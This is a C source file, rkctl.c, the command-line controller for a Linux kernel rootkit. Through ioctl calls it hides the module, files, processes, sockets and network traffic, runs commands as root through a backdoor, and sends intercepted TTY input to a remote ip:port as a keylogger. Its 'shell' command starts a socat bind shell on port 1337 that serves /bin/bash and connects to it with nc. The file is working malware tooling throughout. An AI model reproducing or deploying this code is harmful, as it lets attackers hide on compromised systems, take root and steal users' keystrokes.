rkctl.c (8512B)
1 #include <stdlib.h> 2 #include <stdio.h> 3 #include <string.h> 4 #include <fcntl.h> 5 #include <libgen.h> 6 #include <unistd.h> 7 #include <sys/types.h> 8 #include <sys/stat.h> 9 #include <sys/ioctl.h> 10 11 #include "../ioctl.h" 12 #include "rkctl.h" 13 14 #define BUFLEN 4096 15 16 static char progname[BUFLEN]; 17 18 int 19 main(int argc, char **argv) 20 { 21 strcpy(progname, argc ? basename(argv[0]) : ""); 22 cmd_t cmd = parse_input(argc, argv); 23 return cmd.f(cmd.arg); 24 } 25 26 cmd_t 27 parse_input(int argc, char **argv) 28 { 29 if (argc <= 1 || ARGVCMP(1, "help")) { 30 help(); 31 exit(0); 32 } 33 34 if (ARGVCMP(1, "ping")) 35 return (cmd_t){ handle_ping, NULL }; 36 37 if (ARGVCMP(1, "unload")) 38 return (cmd_t){ handle_modhide, (void *)0 }; 39 40 if (ARGVCMP(1, "modhide")) { 41 ASSERT_ARGC(2, "modhide <on | off>"); 42 43 if (ARGVCMP(2, "on")) 44 return (cmd_t){ handle_modhide, (void *)1 }; 45 46 if (ARGVCMP(2, "off")) 47 return (cmd_t){ handle_modhide, (void *)-1 }; 48 } 49 50 if (ARGVCMP(1, "filehide")) { 51 ASSERT_ARGC(2, "filehide [open] <toggle | on | off>"); 52 53 if (ARGVCMP(2, "open")) { 54 ASSERT_ARGC(3, "filehide [open] <toggle | on | off>"); 55 56 if (ARGVCMP(3, "toggle")) 57 return (cmd_t){ handle_openhide, (void *)0 }; 58 59 if (ARGVCMP(3, "on")) 60 return (cmd_t){ handle_openhide, (void *)1 }; 61 62 if (ARGVCMP(3, "off")) 63 return (cmd_t){ handle_openhide, (void *)-1 }; 64 } else { 65 if (ARGVCMP(2, "toggle")) 66 return (cmd_t){ handle_filehide, (void *)0 }; 67 68 if (ARGVCMP(2, "on")) 69 return (cmd_t){ handle_filehide, (void *)1 }; 70 71 if (ARGVCMP(2, "off")) 72 return (cmd_t){ handle_filehide, (void *)-1 }; 73 } 74 } 75 76 if (ARGVCMP(1, "hidepid")) { 77 ASSERT_ARGC(3, "hidepid <add | rm> <PID>"); 78 79 long arg; 80 if ((arg = strtol(argv[3], NULL, 10))) { 81 if (ARGVCMP(2, "add")) 82 return (cmd_t){ handle_pidhide, (void *)(arg) }; 83 84 if (ARGVCMP(2, "rm")) 85 return (cmd_t){ handle_pidhide, (void *)((-1) * (arg)) }; 86 } else { 87 fprintf(stderr, "%s: invalid pid `%s`\n", progname, argv[3]); 88 exit(1); 89 } 90 } 91 92 if (ARGVCMP(1, "hidepid-off")) 93 return (cmd_t){ handle_pidhide, (void *)0 }; 94 95 if (ARGVCMP(1, "socket")) { 96 ASSERT_ARGC(4, "socket <hide | unhide> <tcp | udp> <port>"); 97 98 long arg; 99 if ((arg = strtol(argv[4], NULL, 10))) { 100 if (ARGVCMP(2, "hide")) { 101 if (ARGVCMP(3, "tcp")) 102 return (cmd_t){ handle_tcphide, (void *)arg }; 103 104 if (ARGVCMP(3, "udp")) 105 return (cmd_t){ handle_udphide, (void *)arg }; 106 } 107 108 if (ARGVCMP(2, "unhide")){ 109 if (ARGVCMP(3, "tcp")) 110 return (cmd_t){ handle_tcphide, (void *)((-1) * (arg)) }; 111 112 if (ARGVCMP(3, "udp")) 113 return (cmd_t){ handle_udphide, (void *)((-1) * (arg)) }; 114 } 115 } else { 116 fprintf(stderr, "%s: invalid port `%s`\n", progname, argv[3]); 117 exit(1); 118 } 119 } 120 121 if (ARGVCMP(1, "sockethide-off")) 122 return (cmd_t){ handle_tcphide, (void *)0 }; 123 124 if (ARGVCMP(1, "traffic")) { 125 ASSERT_ARGC(3, "traffic <hide | unhide> <ip>"); 126 127 if (ARGVCMP(2, "hide")) { 128 size_t arglen = strlen(argv[3]); 129 size_t maxlen = BUFLEN - 1; 130 char *hide_ip = (char *)malloc(BUFLEN); 131 132 memset(hide_ip, 0, BUFLEN); 133 hide_ip[0] = (char)1; 134 memcpy(hide_ip + 1, argv[3], arglen < maxlen ? arglen : maxlen); 135 136 return (cmd_t){ handle_packhide, (void *)hide_ip }; 137 } 138 139 if (ARGVCMP(2, "unhide")){ 140 size_t arglen = strlen(argv[3]); 141 size_t maxlen = BUFLEN - 1; 142 char *unhide_ip = (char *)malloc(BUFLEN); 143 144 memset(unhide_ip, 0, BUFLEN); 145 unhide_ip[0] = (char)-1; 146 memcpy(unhide_ip + 1, argv[3], arglen < maxlen ? arglen : maxlen); 147 148 return (cmd_t){ handle_packhide, (void *)unhide_ip }; 149 } 150 } 151 if (ARGVCMP(1, "traffichide-off")) 152 return (cmd_t){ handle_packhide, (void *)0 }; 153 154 if (ARGVCMP(1, "backdoor")) { 155 ASSERT_ARGC(2, "backdoor <execve_command>"); 156 return (cmd_t){ handle_backdoor, (void *)argv[2] }; 157 } 158 159 if (ARGVCMP(1, "shell")) 160 return (cmd_t){ handle_shellbd, NULL }; 161 162 if (ARGVCMP(1, "backdoor-use-tty")) { 163 ASSERT_ARGC(2, "backdoor-use-tty <0 | 1>"); 164 165 if (ARGVCMP(2, "0")) 166 return (cmd_t){ handle_togglebd, (void *)-1 }; 167 168 if (ARGVCMP(2, "1")) 169 return (cmd_t){ handle_togglebd, (void *)1 }; 170 } 171 172 if (ARGVCMP(1, "backdoor-off")) 173 return (cmd_t){ handle_togglebd, (void *)0 }; 174 175 if (ARGVCMP(1, "inputlogging")) { 176 ASSERT_ARGC(3, "inputlogging <ip> <port>"); 177 178 char *socket = (char *)malloc(BUFLEN); 179 snprintf(socket, BUFLEN, "%s:%s", argv[2], argv[3]); 180 181 return (cmd_t){ handle_logging, (void *)socket }; 182 } 183 184 if (ARGVCMP(1, "inputlogging-off")) 185 return (cmd_t){ handle_logging, (void *)0 }; 186 187 help(); 188 exit(1); 189 } 190 191 int 192 handle_ping(void *arg) 193 { 194 return issue_ioctl(G7_PING, "PING"); 195 } 196 197 int 198 handle_modhide(void *arg) 199 { 200 return issue_ioctl(G7_MODHIDE, (const char *)arg); 201 } 202 203 int 204 handle_filehide(void *arg) 205 { 206 return issue_ioctl(G7_FILEHIDE, (const char *)arg); 207 } 208 209 int 210 handle_openhide(void *arg) 211 { 212 return issue_ioctl(G7_OPENHIDE, (const char *)arg); 213 } 214 215 int 216 handle_pidhide(void *arg) 217 { 218 return issue_ioctl(G7_PIDHIDE, (const char *)arg); 219 } 220 221 int 222 handle_tcphide(void *arg) 223 { 224 return issue_ioctl(G7_TCPHIDE, (const char *)arg); 225 } 226 227 int 228 handle_udphide(void *arg) 229 { 230 return issue_ioctl(G7_UDPHIDE, (const char *)arg); 231 } 232 233 int 234 handle_packhide(void *arg) 235 { 236 return issue_ioctl(G7_PACKHIDE, (const char *)arg); 237 } 238 239 int 240 handle_backdoor(void *arg) 241 { 242 return issue_ioctl(G7_BACKDOOR, (const char *)arg); 243 } 244 245 int 246 handle_shellbd(void *arg) 247 { 248 static const char *socat_cmd = "socat" 249 " tcp4-listen:1337,reuseaddr,fork" 250 " exec:/bin/bash,pty,stderr,setsid"; 251 252 issue_ioctl(G7_BACKDOOR, socat_cmd); 253 254 static char *argv[] = { 255 "sh", 256 "-c", 257 "nc 127.0.0.1 1337", 258 NULL 259 }; 260 261 return execv(argv[0], argv); 262 } 263 264 int 265 handle_togglebd(void *arg) 266 { 267 return issue_ioctl(G7_TOGGLEBD, (const char *)arg); 268 } 269 270 int 271 handle_logging(void *arg) 272 { 273 return issue_ioctl(G7_LOGGING, (const char *)arg); 274 } 275 276 int 277 issue_ioctl(unsigned long request, const char *argp) 278 { 279 int fd; 280 char device[BUFLEN]; 281 sprintf(device, "/proc/%s", G7_DEVICE); 282 283 if ((fd = open(device, O_RDWR)) < 0) { 284 fprintf(stderr, "%s: unable to open %s, is the rootkit running?\n", progname, device); 285 exit(1); 286 } 287 288 int ret = ioctl(fd, request, argp); 289 close(fd); 290 291 return ret; 292 } 293 294 void 295 help() 296 { 297 printf("usage: %s <command>\n\n", progname); 298 printf("These are the available commands:\n"); 299 printf("%-42s %s\n", "help", "this message"); 300 printf("%-42s %s\n", "ping", "send an echo request to the rootkit"); 301 printf("%-42s %s\n", "unload", "gracefully unload the rootkit module"); 302 printf("%-42s %s\n", "modhide <on | off>", "{,un}hide rootkit module"); 303 printf("%-42s %s\n", "filehide [open] <toggle | on | off>", "{,un}hide [open] files"); 304 printf("%-42s %s\n", "hidepid <add | rm> <PID>", "{,un}hide a process"); 305 printf("%-42s %s\n", "socket <hide | unhide> <tcp | udp> <port>", "{,un}hide a tcp or udp socket with the given port"); 306 printf("%-42s %s\n", "sockethide-off", "disable any (tcp or udp) socket hiding"); 307 printf("%-42s %s\n", "traffic <hide | unhide> <ip>", "{,un}hide packets from/to given ip address (IPv4 or IPv6)"); 308 printf("%-42s %s\n", "traffichide-off", "disable any traffic hiding"); 309 printf("%-42s %s\n", "backdoor <execve_command>", "exec a command as root"); 310 printf("%-42s %s\n", "shell", "obtain a shell as root"); 311 printf("%-42s %s\n", "backdoor-use-tty <0 | 1>", "listen for `make_me_root` on read (0) or TTY (1)"); 312 printf("%-42s %s\n", "backdoor-off", "disable any (read or tty) backdoor"); 313 printf("%-42s %s\n", "inputlogging <ip> <port>", "intercept {P,T}TY input and send it to <ip>:<port>"); 314 printf("%-42s %s\n", "inputlogging-off", "disable input logging"); 315 }